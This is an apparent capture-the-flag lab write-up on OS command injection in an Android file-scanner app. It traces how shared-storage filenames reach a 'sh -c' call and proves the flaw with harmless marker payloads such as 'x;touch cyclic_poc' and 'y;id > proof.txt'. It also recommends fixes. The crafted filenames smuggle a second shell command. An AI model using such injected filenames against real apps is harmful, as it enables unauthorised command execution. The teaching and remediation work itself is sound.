October 9, 2026
CYCLIC SCANNER Mobile Hacking Lab walkthrough
Summary
By Marinovharisan
7 min read
Summary
I approached the lab by starting with the AndroidManifest.xml and then following the execution path into the scanner service. That turned out to be useful because the vulnerability is not exposed through a normal exported IPC entry point. Instead, the service automatically walks shared storage and processes filenames that can be influenced from outside the application.
The vulnerable code builds a SHA-1 command by concatenating a file path into a string, then executes that string through sh -c. Because the pathname is not quoted or escaped, shell metacharacters inside a filename are interpreted as syntax. A crafted filename such as x;touch cyclic_poc therefore becomes a second shell command when the scanner reaches it.
Result: The lab vulnerability was successfully proven by creating a specially named file in shared storage, starting the scanner, and observing that /sdcard/cyclic_poc was created by the vulnerable application.
Starting Point: AndroidManifest.xml
The manifest immediately gave a useful map of the application. The entries that mattered most were the all-files permission, the exported MainActivity, the non-exported ScanService, and the debuggable application flag.
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<activity
android:name="com.mobilehackinglab.cyclicscanner.MainActivity"
android:exported="true" />
<service
android:name="com.mobilehackinglab.cyclicscanner.scanner.ScanService"
android:exported="false" />
<application
android:debuggable="true"
android:allowBackup="true" ... /><uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<activity
android:name="com.mobilehackinglab.cyclicscanner.MainActivity"
android:exported="true" />
<service
android:name="com.mobilehackinglab.cyclicscanner.scanner.ScanService"
android:exported="false" />
<application
android:debuggable="true"
android:allowBackup="true" ... />MANAGE_EXTERNAL_STORAGE stood out because this is a file scanner. Before looking at any code, that suggested the service might walk user-accessible shared storage. The service being non-exported looked reassuring at first, but it only prevents direct component invocation. It does not protect the service if it later consumes attacker-controlled data from somewhere else.
MainActivity ā Permission and Service Startup
MainActivity is mostly setup code. The important part is the control flow around the special storage permission and the switch that starts ScanService.
onCreate() {
setupPermissionLauncher();
handlePermissions();
}
private final void handlePermissions() {
if (Environment.isExternalStorageManager()) {
setupSwitch();
return;
}
Intent intent = new Intent(
"android.settings.MANAGE_ALL_FILES_ACCESS_PERMISSION"
);
requestPermissionLauncher.launch(intent);
}onCreate() {
setupPermissionLauncher();
handlePermissions();
}
private final void handlePermissions() {
if (Environment.isExternalStorageManager()) {
setupSwitch();
return;
}
Intent intent = new Intent(
"android.settings.MANAGE_ALL_FILES_ACCESS_PERMISSION"
);
requestPermissionLauncher.launch(intent);
}This explained the first behavior seen on the device: launching Cyclic Scanner immediately opened Android's All files access settings instead of showing the scanner UI. After granting the permission and returning to the app, setupSwitch() becomes available.
if (isChecked) {
Toast.makeText(
this$0,
"Scan service started, your device will be scanned regularly.",
0
).show();
this$0.startForegroundService(
new Intent(this$0, ScanService.class)
);
}if (isChecked) {
Toast.makeText(
this$0,
"Scan service started, your device will be scanned regularly.",
0
).show();
this$0.startForegroundService(
new Intent(this$0, ScanService.class)
);
}There was no interesting use of getIntent().getData(), getStringExtra(), or other attacker-controlled intent data in MainActivity. At this point the activity looked like a permission and service-starting gateway rather than the vulnerable component.
ScanService ā Filesystem as an Input Channel
ScanService is where the filesystem becomes part of the attack surface. The service starts a worker thread and repeatedly walks the external-storage root.
private static final long SCAN_INTERVAL = 6000;
File externalStorageDirectory =
Environment.getExternalStorageDirectory();
Sequence files = FilesKt.walk$default(
externalStorageDirectory, null, 1, null
);
for (Object element : files) {
File file = (File) element;
if (file.canRead() && file.isFile()) {
System.out.print(file.getAbsolutePath() + "...");
boolean safe = ScanEngine.INSTANCE.scanFile(file);
System.out.println(safe ? "SAFE" : "INFECTED");
}
}private static final long SCAN_INTERVAL = 6000;
File externalStorageDirectory =
Environment.getExternalStorageDirectory();
Sequence files = FilesKt.walk$default(
externalStorageDirectory, null, 1, null
);
for (Object element : files) {
File file = (File) element;
if (file.canRead() && file.isFile()) {
System.out.print(file.getAbsolutePath() + "...");
boolean safe = ScanEngine.INSTANCE.scanFile(file);
System.out.println(safe ? "SAFE" : "INFECTED");
}
}The key observation is that the service recursively processes files under shared storage and passes each File object directly into ScanEngine.scanFile(). This is the source side of the data flow. An attacker does not need to start the service directly if they can influence a filename that the legitimate scanner will discover on its own.
Shared storage
-> recursive File.walk()
-> readable regular file
-> ScanEngine.scanFile(file)Shared storage
-> recursive File.walk()
-> readable regular file
-> ScanEngine.scanFile(file)The service then schedules itself again after the scan completes. The six-second value is a delay between scan cycles; a large filesystem or a very large file can make the effective interval much longer because each file is hashed before the next cycle is scheduled.
ScanEngine ā Root Cause of the Vulnerability
The actual vulnerability appears in ScanEngine. The method is intended to run toybox sha1sum over every file and compare the result with a small set of known malware hashes.
public final boolean scanFile(File file) {
String command =
"toybox sha1sum " + file.getAbsolutePath();
Process process = new ProcessBuilder(new String[0])
.command("sh", "-c", command)
.directory(Environment.getExternalStorageDirectory())
.redirectErrorStream(true)
.start();
...
}public final boolean scanFile(File file) {
String command =
"toybox sha1sum " + file.getAbsolutePath();
Process process = new ProcessBuilder(new String[0])
.command("sh", "-c", command)
.directory(Environment.getExternalStorageDirectory())
.redirectErrorStream(true)
.start();
...
}The first line mixes untrusted pathname data into a command string. The second line then asks a shell to parse that entire string. That combination is what turns a filename into executable syntax.
Root cause: Untrusted file paths are concatenated into a shell command and executed with sh -c without quoting, escaping, or argument separation.
If a normal file is named report.txt, the command is harmless:
toybox sha1sum /storage/emulated/0/report.txttoybox sha1sum /storage/emulated/0/report.txtIf the filename contains a shell separator, the meaning changes. For example, the filename x;touch cyclic_poc produces approximately:
toybox sha1sum /storage/emulated/0/x;touch cyclic_poctoybox sha1sum /storage/emulated/0/x;touch cyclic_pocThe shell reads that as two commands:
toybox sha1sum /storage/emulated/0/x
touch cyclic_poctoybox sha1sum /storage/emulated/0/x
touch cyclic_pocThis is classic OS command injection. The important Android-specific twist is that the malicious data arrives through a filename in shared storage rather than through an exported Activity or Service extra.
Building the Proof of Concept
For the first proof I deliberately used a harmless marker file. The goal was to show that the scanner executed a second command, without modifying application data or doing anything destructive.
I connected to the rooted device and navigated to shared storage:
adb shell
su
cd /sdcardadb shell
su
cd /sdcardBefore creating the payload, I confirmed that the marker did not exist:
ls -l /sdcard/cyclic_pocls -l /sdcard/cyclic_pocThe result was No such file or directory. I then created a file whose filename itself contained a shell command:
touch 'x;touch cyclic_poc'touch 'x;touch cyclic_poc'The single quotes matter only while creating the filename. They prevent the interactive shell from treating the semicolon as syntax. The actual filename stored on disk is x;touch cyclic_poc.
Listing the directory showed the file as x;touch\ cyclic_poc. The backslash is just display escaping for the space; it is not part of the filename.
Dynamic Validation
After creating the crafted filename, I started the scanner from the Cyclic Scanner app. The service eventually reached the file and executed the vulnerable command. I then checked the marker path again:
ls -l /sdcard/cyclic_pocls -l /sdcard/cyclic_pocThis time the marker existed. That is the important proof: I manually created only the specially named input file, not cyclic_poc. The marker was created as a consequence of the vulnerable application interpreting the filename through sh -c.
crafted filename
-> x;touch cyclic_poc
-> scanner discovers file
-> "toybox sha1sum " + absolutePath
-> sh -c
-> semicolon terminates sha1sum command
-> touch cyclic_poc executes
-> /sdcard/cyclic_poc appearscrafted filename
-> x;touch cyclic_poc
-> scanner discovers file
-> "toybox sha1sum " + absolutePath
-> sh -c
-> semicolon terminates sha1sum command
-> touch cyclic_poc executes
-> /sdcard/cyclic_poc appears
What this proves: A filename controlled through shared storage can cause the application to execute additional shell commands in the Cyclic Scanner process context.
/sdcard vs /storage/emulated/0
During testing I used /sdcard, while the application logs and Java APIs referred to /storage/emulated/0. On the test device these are two views of the same primary emulated shared-storage area.
/sdcard/proof.txt
~=
/storage/emulated/0/proof.txt/sdcard/proof.txt
~=
/storage/emulated/0/proof.txtThe exact Android implementation can involve FUSE, bind mounts, or storage virtualization rather than a simple symbolic link, so it is better to think of these as equivalent access paths for the same user-visible storage rather than assuming a traditional symlink on every device.
There is also a second reason our relative output file lands there: ScanEngine explicitly sets the child process working directory to Environment.getExternalStorageDirectory(). Therefore touch cyclic_poc or id > proof.txt writes into the external-storage root.
.directory(Environment.getExternalStorageDirectory()).directory(Environment.getExternalStorageDirectory())Security Impact
Successful exploitation gives arbitrary shell command execution with the privileges available to the Cyclic Scanner application. This is especially relevant because the app intentionally requests MANAGE_EXTERNAL_STORAGE, so the compromised execution context has broad access to shared storage.
Ā· Read or modify shared-storage files that the application can access.
Ā· Run shell utilities available to the application process.
Ā· Use the application's granted Android permissions where those permissions are reachable through normal process behavior.
Ā· Potentially chain the primitive with other application or platform weaknesses.
The finding does not automatically mean root access. Android application sandboxing, SELinux, runtime permissions, and device configuration still apply. The demonstrated impact is arbitrary command execution in the vulnerable application context.
The non-exported ScanService does not block this attack because the attacker-controlled input arrives through shared storage. This is a useful reminder that component export status is only one part of an Android attack-surface review.
Recommended Fix
The best fix is to remove the shell from the data path. There is no reason to use sh -c merely to calculate a file hash.
A minimal improvement would be to pass each argument separately:
new ProcessBuilder(
"toybox",
"sha1sum",
file.getAbsolutePath()
).start();new ProcessBuilder(
"toybox",
"sha1sum",
file.getAbsolutePath()
).start();With this form, a filename containing semicolons, spaces, redirects, or command substitution remains a single argv element. No shell exists to reinterpret those characters.
An even better solution is to avoid spawning an external process entirely and calculate the SHA-1 digest with Java/Kotlin APIs such as MessageDigest. That removes the shell and process-creation attack surface altogether.
Preferred remediation: Hash the file directly with a language/runtime API. If an external process is unavoidable, pass arguments as separate ProcessBuilder elements and do not invoke a shell.
Final Attack Chain
MANAGE_EXTERNAL_STORAGE
|
v
ScanService walks shared storage
|
v
Attacker-controlled filename
|
v
file.getAbsolutePath()
|
v
"toybox sha1sum " + pathname
|
v
ProcessBuilder("sh", "-c", command)
|
v
Shell metacharacters are interpreted
|
v
OS command injection
|
v
Arbitrary command execution as the app UIDMANAGE_EXTERNAL_STORAGE
|
v
ScanService walks shared storage
|
v
Attacker-controlled filename
|
v
file.getAbsolutePath()
|
v
"toybox sha1sum " + pathname
|
v
ProcessBuilder("sh", "-c", command)
|
v
Shell metacharacters are interpreted
|
v
OS command injection
|
v
Arbitrary command execution as the app UIDThe main lesson from the lab was that the interesting attack surface was not an exported Android component. It was the filesystem. Once a privileged service automatically consumes names from shared storage and sends them through a command shell, an attacker-controlled filename effectively becomes program input.
Lab Commands ā Quick Reference (Im using a rooted Android device)
These are the commands used for the completed marker-file PoC, followed by the optional stronger id-based verification.
# Connect and move to shared storage
adb shell
su
cd /sdcard
# Confirm marker does not already exist
ls -l /sdcard/cyclic_poc
# Create the crafted filename
touch 'x;touch cyclic_poc'
# Start Cyclic Scanner from the app and wait for the scan
# Confirm command execution
ls -l /sdcard/cyclic_poc
# Clean up
rm -f '/sdcard/x;touch cyclic_poc'
rm -f /sdcard/cyclic_poc
# Optional stronger PoC
rm -f /sdcard/proof.txt
touch 'y;id > proof.txt'
# wait for scan
cat /sdcard/proof.txt# Connect and move to shared storage
adb shell
su
cd /sdcard
# Confirm marker does not already exist
ls -l /sdcard/cyclic_poc
# Create the crafted filename
touch 'x;touch cyclic_poc'
# Start Cyclic Scanner from the app and wait for the scan
# Confirm command execution
ls -l /sdcard/cyclic_poc
# Clean up
rm -f '/sdcard/x;touch cyclic_poc'
rm -f /sdcard/cyclic_poc
# Optional stronger PoC
rm -f /sdcard/proof.txt
touch 'y;id > proof.txt'
# wait for scan
cat /sdcard/proof.txt